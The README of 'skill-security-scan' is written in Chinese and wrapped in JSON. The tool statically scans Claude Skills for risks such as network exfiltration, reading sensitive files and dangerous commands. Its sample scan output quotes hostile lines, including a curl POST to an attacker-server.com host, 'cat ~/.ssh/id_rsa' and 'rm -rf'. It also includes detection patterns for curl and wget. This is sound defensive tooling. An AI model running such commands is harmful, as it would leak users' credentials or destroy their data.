{
  "markdown": "# Skill-Security-Scanner\n\n> 🔍 Claude Skills 安全扫描工具 - 保护你的开发环境\n\n[![Python](https://img.shields.io/badge/Python-3.9+-blue.svg)](https://www.python.org/)\n[![License](https://img.shields.io/badge/License-MIT-green.svg)](LICENSE)\n[![Version](https://img.shields.io/badge/Version-1.0.0-orange.svg)](https://github.com/huifer/skill-security-scan)\n\n**[English Documentation](README_EN.md)** | **中文文档**\n\n## 📖 简介\n\n**skill-security-scan** 是一个命令行工具，用于扫描和检测 Claude Skills 的安全风险。在安装第三方 Skills 前，使用此工具进行安全审查，有效防止恶意代码窃取数据或破坏系统。\n\n本项目由 [WellAlly Technology](https://www.wellally.tech/) 开发者发起并维护，致力于为开发者社区提供安全可靠的工具。\n\n### ⚠️ 为什么需要 skill-security-scan？\n\n在本地 Claude Code 中使用 Skills 存在以下安全风险：\n\n1. **完整文件系统访问** - Skills 可以读取任意文件，包括 SSH 密钥、API 密钥等\n2. **网络访问能力** - Skills 可以向外部服务器发送数据\n3. **脚本执行权限** - Skills 可以执行任意系统命令\n4. **依赖破坏** - Skills 可能修改全局依赖，破坏其他项目\n\n## ✨ 特性\n\n- 🔍 **全面安全检测** - 网络、文件、命令、代码注入等多维度检测\n- 🎯 **智能风险评分** - 自动计算风险分数和等级\n- 🎨 **多种输出格式** - HTML 报告（默认）、彩色终端、JSON 报告\n- 🌍 **国际化支持** - 支持中文和英文界面\n- 📁 **智能路径扫描** - 自动扫描 `.claude/skills/` 目录和当前目录\n- ⚙️ **灵活配置** - 自定义规则、白名单管理\n- 🚀 **高性能** - 快速扫描大型项目\n\n## 🚀 快速开始\n\n### 安装\n\n```bash\n# 克隆仓库\ngit clone https://github.com/huifer/skill-security-scan\ncd skill-security-scan\n\n# 安装包（可编辑模式）\npip install -e .\n\n# 或使用 pip 直接安装\npip install skill-security-scan\n```\n\n### 基本使用\n\n```bash\n# 扫描当前目录和 .claude/skills/（默认行为）\nskill-security-scan scan\n\n# 扫描指定路径（仍会自动包含 .claude/skills/）\nskill-security-scan scan /path/to/skill\n\n# 扫描并生成指定名称的 HTML 报告\nskill-security-scan scan --output my_report.html\n\n# 生成 JSON 报告\nskill-security-scan scan --format json --output report.json\n\n# 仅控制台输出（不生成 HTML 文件）\nskill-security-scan scan --format console\n\n# 使用自定义规则\nskill-security-scan scan --rules custom-rules.yaml\n\n# 只显示严重问题\nskill-security-scan scan --severity CRITICAL\n\n# 使用英文界面\nskill-security-scan scan --lang en_US\n```\n\n## 📋 命令选项\n\n```bash\nskill-security-scan scan [OPTIONS] [PATHS]...\n\nOptions:\n  -r, --recursive         递归扫描子目录\n  -o, --output FILE       输出报告文件（HTML 默认自动生成文件名）\n  -f, --format FORMAT     报告格式 [console|json|html]（默认: html）\n  --rules FILE            自定义规则文件\n  --severity LEVEL        最低显示级别 [CRITICAL|WARNING|INFO]（默认: INFO）\n  --no-color              禁用彩色输出\n  --fail-on LEVEL         遇到指定级别错误时退出码非0\n  --lang LANG             界面语言 [zh_CN|en_US]（默认: zh_CN）\n\nArguments:\n  PATHS                   要扫描的路径（可选，默认扫描当前目录和 .claude/skills/）\n```\n\n**说明**:\n- 未指定路径时，默认扫描当前目录（`.`）和 `.claude/skills/` 目录\n- 指定路径时，仍会自动扫描 `.claude/skills/` 目录（如果存在）\n- HTML 格式为默认输出，会自动生成带时间戳的文件名（如 `skill_scan_report_20231229_113252.html`）\n- 控制台始终会显示扫描摘要，无论使用何种报告格式\n\n## 🎯 检测规则\n\n### 🔴 CRITICAL (严重)\n- **NET001**: 外部网络请求到非官方域名\n- **FILE001**: 访问敏感文件（SSH 密钥、.env 等）\n- **FILE002**: 危险文件操作（rm -rf /, chmod 777）\n- **CMD001**: 执行危险系统命令（sudo, dd）\n- **INJ001**: 代码注入模式\n- **INJ003**: 后门植入\n\n### 🟡 WARNING (警告)\n- **CMD002**: 系统命令调用（os.system, subprocess）\n- **INJ002**: 动态代码执行（eval, exec）\n- **DEP001**: 全局包安装\n- **DEP002**: 强制版本覆盖\n\n### 🔵 INFO (提示)\n- 代码混淆模式\n- 隐藏命令\n\n## 📊 输出示例\n\n### HTML 报告（默认）\n\n默认生成美观的 HTML 报告，包含：\n- 📊 可视化风险仪表板\n- 🔍 可按严重级别筛选的问题列表\n- 📈 交互式图表和统计\n- 📱 响应式设计，支持移动端查看\n- 🌍 中英文界面自动切换\n\nHTML 报告会在浏览器中打开，方便详细审查和分析。\n\n### 控制台输出\n\n```\n[*] 扫描 Skills:\n  - /path/to/skill\n  - .claude\\skills\n\n[!] Risk Level: CRITICAL (10.0/10)\n\n[!] CRITICAL 问题 (67 个):\n  [NET001] in SKILL.md:15\n    Pattern: curl -X POST https://attacker-server.com/collect\n    Confidence: 高\n\n  [FILE001] in scripts/setup.sh:8\n    Pattern: cat ~/.ssh/id_rsa\n    Confidence: 高\n\n  [CMD001] in SKILL.md:23\n    Pattern: rm -rf /tmp/*\n    Confidence: 中\n\n[*] WARNING 问题 (61 个):\n  [CMD002] in SKILL.md:46\n    Pattern: os.system(\"unknown command\")\n    Confidence: 中\n  还有 57 个\n\n[*] 摘要:\n  Total Files Scanned: 7\n  Critical Issues: 67\n  Warning Issues: 61\n  Info Issues: 0\n  Total Issues: 128\n\n[*] 建议: 请勿使用 - 检测到严重安全风险\n\nReport saved to: skill_scan_report_20231229_113252.html\n```\n\n## ⚙️ 配置\n\n### 规则配置\n\n编辑 `config/rules.yaml` 来自定义检测规则：\n\n```yaml\nnetwork_rules:\n  - id: NET001\n    name: \"外部网络请求\"\n    severity: CRITICAL\n    patterns:\n      - \"curl\\\\s+.*http\"\n      - \"wget\\\\s+\"\n    description: \"检测到向外发送数据的网络请求\"\n    allowed_domains:\n      - \"api.anthropic.com\"\n      - \"github.com\"\n```\n\n### 白名单管理\n\n```bash\n# 添加规则到白名单\nskill-security-scan whitelist add NET001\n\n# 查看白名单\nskill-security-scan whitelist list\n\n# 从白名单移除\nskill-security-scan whitelist remove NET001\n```\n\n## 🧪 测试\n\n```bash\n# 运行测试\npytest tests/\n\n# 运行测试并覆盖\npytest tests/ --cov=src --cov-report=html\n```\n\n## 📦 打包成可执行文件\n\n项目可以使用 PyInstaller 打包成独立的可执行文件，无需安装 Python 环境即可运行。\n\n### 打包步骤\n\n1. **安装 PyInstaller**\n\n```bash\npip install pyinstaller\n```\n\n2. **执行打包命令**\n\n```bash\n# 使用项目中的 spec 文件打包\npyinstaller skill-security-scan.spec --clean\n```\n\n3. **获取可执行文件**\n\n打包完成后，可执行文件位于 `dist/skill-security-scan.exe`（Windows）或 `dist/skill-security-scan`（Linux/macOS）。\n\n文件大小约 10MB，包含了所有必要的依赖和配置文件。\n\n### 使用可执行文件\n\n```bash\n# 直接运行，无需安装 Python\n./dist/skill-security-scan.exe --help\n\n# 扫描目录\n./dist/skill-security-scan.exe scan /path/to/skill\n\n# 生成报告\n./dist/skill-security-scan.exe scan --output report.html\n```\n\n### 打包文件说明\n\n- **skill-security-scan.spec** - PyInstaller 配置文件\n  - 定义了打包入口点为 `standalone_cli.py`\n  - 包含了 `config/*.yaml` 配置文件\n  - 包含了整个 `src/` 目录\n  - 设置了 UTF-8 编码支持，解决 Windows 中文显示问题\n\n- **standalone_cli.py** - 可执行文件入口点\n  - 处理 PyInstaller 打包后的路径问题\n  - 使用 `runpy.run_module()` 执行 CLI 模块\n  - 自动修复 Windows 控制台编码问题\n\n- **dist/skill-security-scan.exe** - 最终可执行文件\n  - 可独立运行，无需 Python 环境\n  - 支持所有 CLI 功能\n  - 可直接复制到其他机器使用\n\n### 跨平台打包\n\n```bash\n# Windows\npyinstaller skill-security-scan.spec --clean\n\n# Linux/macOS\npyinstaller skill-security-scan.spec --clean\n```\n\n注意：可执行文件需要在目标操作系统上打包，或使用对应的虚拟环境打包。\n\n## 📁 项目结构\n\n```\nskill-security-scan/\n├── src/\n│   ├── scanner/        # 扫描引擎\n│   ├── rules/          # 安全规则\n│   ├── reporters/      # 报告生成器（Console, JSON, HTML）\n│   ├── i18n/           # 国际化文件（中文、英文）\n│   ├── config_loader.py # 配置加载器\n│   ├── rules_factory.py # 规则工厂\n│   └── cli.py          # 命令行接口\n├── config/             # 配置文件\n│   ├── rules.yaml      # 安全检测规则\n│   └── whitelist.yaml  # 白名单配置\n├── tests/              # 测试用例\n│   ├── skills/         # 测试用 Skills\n│   └── test_*.py       # 单元测试\n├── examples/           # 示例 Skills\n└── docs/               # 文档\n```\n\n## 🔒 安全性\n\n- ✅ 只进行静态分析，不执行 Skill 代码\n- ✅ 输入路径验证，防止路径遍历\n- ✅ 资源使用限制（CPU、内存）\n- ✅ 规则签名验证\n\n## 🤝 贡献\n\n欢迎贡献！请查看 [CONTRIBUTING.md](CONTRIBUTING.md) 了解详情。\n\n1. Fork 本仓库\n2. 创建特性分支 (`git checkout -b feature/AmazingFeature`)\n3. 提交更改 (`git commit -m 'Add some AmazingFeature'`)\n4. 推送到分支 (`git push origin feature/AmazingFeature`)\n5. 开启 Pull Request\n\n## 📄 许可证\n\nMIT License - 查看 [LICENSE](LICENSE) 文件了解详情\n\n## 🙏 致谢\n\n- 感谢所有贡献者\n- 感谢 Anthropic 提供 Claude Code 平台\n\n## 📮 联系方式\n\n- 问题反馈: [GitHub Issues](https://github.com/huifer/skill-security-scan/issues)\n- 邮箱: huifer97@163.com\n- 网站: https://www.wellally.tech/\n\n---\n\n**⚠️ 免责声明**: 此工具不能保证 100% 检测所有安全风险。请始终谨慎使用第三方 Skills，并在隔离环境中测试。\n\n---\n\n## 📚 相关文档\n\n- [技术论文 (中文)](docs/articles/ZH_SKILL_SECURITY_SCANNER_TECHNICAL_ARTICLE.md) - 系统架构与实现详解\n- [Technical Paper (English)](docs/articles/EN_SKILL_SECURITY_SCANNER_TECHNICAL_ARTICLE.md) - Architecture and Implementation\n- [安全分析 (中文)](docs/articles/ZH_SKILLS_SECURITY_ANALYSIS.md) - Skills 生态安全风险评估\n- [Security Analysis (English)](docs/articles/EN_SKILLS_SECURITY_ANALYSIS.md) - Security Risk Assessment\n- [工作流程图](docs/WORKFLOW_DIAGRAMS.md) - 业务执行逻辑详解\n\n---\n\n**中文文档** | **[English Documentation](README_EN.md)**\n",
  "bytes": 7277,
  "sha": "f3401f847f60965a49ad45d71474854a21659f99dc1279aa1ba348937dc126e7",
  "repo_slug": "huifer/skill-security-scan",
  "fonte": "repo",
  "truncated": false,
  "api": "https://agentalog.com/api/listings/skl_huifer_skill_security_scan_claude_skills_5b976c29/readme"
}